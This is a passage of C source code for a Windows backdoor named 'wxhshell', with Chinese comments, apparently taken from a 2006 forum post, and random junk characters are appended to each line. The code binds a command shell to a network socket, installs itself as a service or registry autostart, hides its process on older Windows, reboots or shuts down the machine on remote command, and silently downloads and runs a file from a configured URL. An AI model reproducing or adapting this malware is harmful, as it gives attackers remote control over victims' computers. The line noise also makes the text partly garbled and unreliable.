      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k"pN  
    break; *a2-Vte  
  } k+% c8w 9  
  // 安装 FE4P EBXvu  
  case 'i': { G]k+0&X  
    if(Install()) 6Z>G%yK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Re{j{~s  
    else *Me&> "N"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HU47 S  
    break; (p!w`MSv  
    } zk^uS#  
  // 卸载 +zINnX  
  case 'r': { ^$x1~}D  
    if(Uninstall()) M'sq{K9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "wj~KbT}&  
    else H9Dw#.em  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CYn56eRK  
    break; W6!o=()  
    } "x4}FQ  
  // 显示 wxhshell 所在路径 T%TfkQ__d  
  case 'p': { ]x1o (~  
    char svExeFile[MAX_PATH]; SFkB,)Z N  
    strcpy(svExeFile,"\n\r"); $X ]t}=  
      strcat(svExeFile,ExeFile); {osadXd C  
        send(wsh,svExeFile,strlen(svExeFile),0); uMb[0-5  
    break; =EQaZ8k  
    } lDVw2J'p  
  // 重启 }Q-%ij2  
  case 'b': { ^tRy6zG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J_}Rsp ED  
    if(Boot(REBOOT)) iVZ X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_C#fR /I  
    else { \L:+k `  
    closesocket(wsh); Sh;Z\nj  
    ExitThread(0); |h%0)_  
    } mXJ`t5v^l  
    break; V:h3F7  
    } #p7_\+&5s  
  // 关机 9FcH\2J  
  case 'd': { Rwe!xY^d8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?!;i/h*{  
    if(Boot(SHUTDOWN)) _M)J{ {?:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,*yuF|bk  
    else { ;9)A+bD]  
    closesocket(wsh); ^<`uyY))Q  
    ExitThread(0); +BgUnu26  
    } +Cs.v.GA5  
    break; @s8wYcW  
    } vhz Q.>  
  // 获取shell Zd~Q@+sH  
  case 's': { 1pJ?YV  
    CmdShell(wsh); !~!\=etm  
    closesocket(wsh); / 0y5/  
    ExitThread(0); 7i0;Ss*  
    break; ~ea&1+Z[3  
  } @tVl8]y  
  // 退出 # |^yWw^  
  case 'x': { >d<tcaB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TLT6z[  
    CloseIt(wsh); .s`7n *xz  
    break; t`G<}t  
    } jU!ibs}R3  
  // 离开 :~LOw}N!aQ  
  case 'q': { <I.{meDg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2U rE>_  
    closesocket(wsh); 6'\VPjt  
    WSACleanup(); r`A|2(h5B  
    exit(1); 2^ kK2D$o  
    break; Bs';!,=  
        } U{ ZKxE  
  } uE^5o\To  
  } oRQ( l I>  
Z1sRLkR^  
  // 提示信息 oG' 'my#3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =0mXTY1  
} A"Sp7M[J  
  } R~N'5#.*M  
UmOK7SPi  
  return; pL`)^BJ  
} z2god 1"  
(/gMtIw  
// shell模块句柄 )g[7XB/w  
int CmdShell(SOCKET sock) yPT\9"/  
{ 6;p"xC-  
STARTUPINFO si; *#c^.4$'  
ZeroMemory(&si,sizeof(si)); M(#]NTr ~4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qo])A6$IU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3im2 `n  
PROCESS_INFORMATION ProcessInfo; :Nl.< 6+  
char cmdline[]="cmd"; ,N@N4<C]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BBHoD:l  
  return 0; by* v($  
} jGFDj"Y  
jOU1F1  
// 自身启动模式 3 , nr*R!  
int StartFromService(void) y0\=F  
{ h45RwQ5Z  
typedef struct =`MMB|{6  
{ != u S  
  DWORD ExitStatus; Z8q*XpUH  
  DWORD PebBaseAddress; TM0DR'.  
  DWORD AffinityMask; Hg`2- Nl  
  DWORD BasePriority; T74."Lo#  
  ULONG UniqueProcessId; ({9P, D~2  
  ULONG InheritedFromUniqueProcessId; -14~f)%NQ*  
}   PROCESS_BASIC_INFORMATION; mmBZ}V+&=  
V<0J j  
PROCNTQSIP NtQueryInformationProcess; vlx\hJ<I  
4<y|SI!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mcLxX'c6<h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A}z1~Z+  
YA*E93J0  
  HANDLE             hProcess; U?(+ {4l  
  PROCESS_BASIC_INFORMATION pbi; Rv@( [rn+  
6M X4h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~[`*)(4E  
  if(NULL == hInst ) return 0; `fUP q ;  
am# (ms  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W;ADc2#)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %\?Gzc_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  q a}=p  
~)%DiGW&  
  if (!NtQueryInformationProcess) return 0; t0+D~F(g  
k{ibD5B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q-4#)EnW  
  if(!hProcess) return 0; T8\%+3e.  
Aj "SSX!L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 15wwu} X  
x qLIs:*  
  CloseHandle(hProcess); uoe>T:  
_Rey~]iJJ8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .8/W_iC92  
if(hProcess==NULL) return 0; /<it2=  
Zm#qW2a]P  
HMODULE hMod; "7_qB8\  
char procName[255]; %a$Fsn  
unsigned long cbNeeded; 'QxPQ cU  
n8 e4`-cY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .9KW| (uW  
+<W8kb  
  CloseHandle(hProcess); ]_&pIBp  
tqT-9sEXX.  
if(strstr(procName,"services")) return 1; // 以服务启动 .aE%z/@s=  
>TddKR @C  
  return 0; // 注册表启动 R4Si{J*O  
} i*ji   
?Qdp#K]WX  
// 主模块 \'Ewn8Qv8  
int StartWxhshell(LPSTR lpCmdLine) iWMgU:T  
{ iBPx97a  
  SOCKET wsl; dxF/]>t  
BOOL val=TRUE; 77o&$l,A|  
  int port=0; `%Uz0hF  
  struct sockaddr_in door; jG~UyzWH;  
V'XvwO@  
  if(wscfg.ws_autoins) Install(); J&jig?t  
aFVd}RO0  
port=atoi(lpCmdLine); 9S$?2z".2  
R; Gf3K  
if(port<=0) port=wscfg.ws_port; 3-$w5O3}  
70{fl 4J5  
  WSADATA data; |,OTGZgc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ehf3L |9   
B(U0 ~{7a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Q%fY&#(bp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8I|2yvhP  
  door.sin_family = AF_INET; o;M-M(EZQ6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f+D a W  
  door.sin_port = htons(port); 8et.A  
}t9A#GOz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9G=ZB^  
closesocket(wsl); ky98Bz%  
return 1; NP5;&}uv*!  
} >"z&KZKI  
\J?5K l[*c  
  if(listen(wsl,2) == INVALID_SOCKET) { 4E.K6=k|=a  
closesocket(wsl); Il,^/qvIY  
return 1; C*fSPdg?  
} b6~MRfx`7  
  Wxhshell(wsl); |? l6S  
  WSACleanup(); n*U+jc  
_I}rQfPJ  
return 0; >!|(n @  
Hxzdxwz%$  
} 9dXtugp|  
a?QDf5C q  
// 以NT服务方式启动 Il9pL~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F Wzf8*^  
{ C/je5  
DWORD   status = 0; b(McH*_8e  
  DWORD   specificError = 0xfffffff; GDj ViAFm  
9XPQ1LSx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mQ]wLPP{1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L?( % *  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k 1   
  serviceStatus.dwWin32ExitCode     = 0; +: oD?h  
  serviceStatus.dwServiceSpecificExitCode = 0; ljo^ 2  
  serviceStatus.dwCheckPoint       = 0; 2eh j2T  
  serviceStatus.dwWaitHint       = 0; xr\wOQ*`  
@YfCS8 eH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cq,hzi-  
  if (hServiceStatusHandle==0) return; >4}2~;  
7,N>u8cTh  
status = GetLastError(); #Zy-X_r  
  if (status!=NO_ERROR) DG $._  
{ d^<a)>5h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "x$RTuWA9  
    serviceStatus.dwCheckPoint       = 0; KGI0|Z]n~  
    serviceStatus.dwWaitHint       = 0; 7VwLyy  
    serviceStatus.dwWin32ExitCode     = status; wh<s#q`  
    serviceStatus.dwServiceSpecificExitCode = specificError; ] x_WO_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Aa;s.:?  
    return; d.3O1TXK  
  } 6hs2B5)+  
,3{z_Rax-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n/3gx4.g  
  serviceStatus.dwCheckPoint       = 0; t"@: a Y"  
  serviceStatus.dwWaitHint       = 0;  *R6n+d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (mJqI)m8  
} H.ZmLB  
6:Nz=sw8  
// 处理NT服务事件,比如:启动、停止 cn4C K. ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?"no~(EB  
{ @Pc]qu  
switch(fdwControl) =Xc[EUi<;g  
{ U-#t&yjh#  
case SERVICE_CONTROL_STOP: O} !L;?  
  serviceStatus.dwWin32ExitCode = 0; =*YK6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3=r8kh7,  
  serviceStatus.dwCheckPoint   = 0; 3 T3p[q4  
  serviceStatus.dwWaitHint     = 0; YJ`[$0mam  
  { ( |1 $zF+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S)0bu(a`Z,  
  } t;@VsQ8  
  return; Pb|'f(  
case SERVICE_CONTROL_PAUSE: /WVnyz0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |WB<yA1  
  break; MKdBqnM(F  
case SERVICE_CONTROL_CONTINUE: ZN2g(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X]Emz"   
  break; 3?vasL  
case SERVICE_CONTROL_INTERROGATE:  |Aw(v6  
  break; ,Jf)A/_  
}; d/GP.d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J(\"\Z  
} "b!QE2bRO  
@awaN  
// 标准应用程序主函数 WRJ+l_81  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xz=MM0o  
{ w49Wl>M  
v?yHj-  
// 获取操作系统版本 )T:{(v7 d`  
OsIsNt=GetOsVer(); ]rDf3_!m(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h@72eav3+  
$;_'5`xs  
  // 从命令行安装 ,$habq=;  
  if(strpbrk(lpCmdLine,"iI")) Install(); m%$z&<!  
l|Zw Zix  
  // 下载执行文件 x,js}Mlw  
if(wscfg.ws_downexe) { >qjr7 vx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #(jozl_8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ih?_ fW  
} +0=u]  
EvMhNq~y5  
if(!OsIsNt) { w.cQ|_  
// 如果时win9x,隐藏进程并且设置为注册表启动 vL13~q*F  
HideProc(); }}?L'Vby  
StartWxhshell(lpCmdLine); OxqbHe  
} :YB:)wV,P  
else ML0o :8Bd\  
  if(StartFromService()) Etj*3/n|  
  // 以服务方式启动 A^JeB<, 5a  
  StartServiceCtrlDispatcher(DispatchTable); <>f  
else M%:ACLYP  
  // 普通方式启动 f{lg{gA(  
  StartWxhshell(lpCmdLine); LS?hb)7  
2|o6~m<pE  
return 0; Um\Nd#=:  
}
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只看该作者 1 发表于: 2006-10-10
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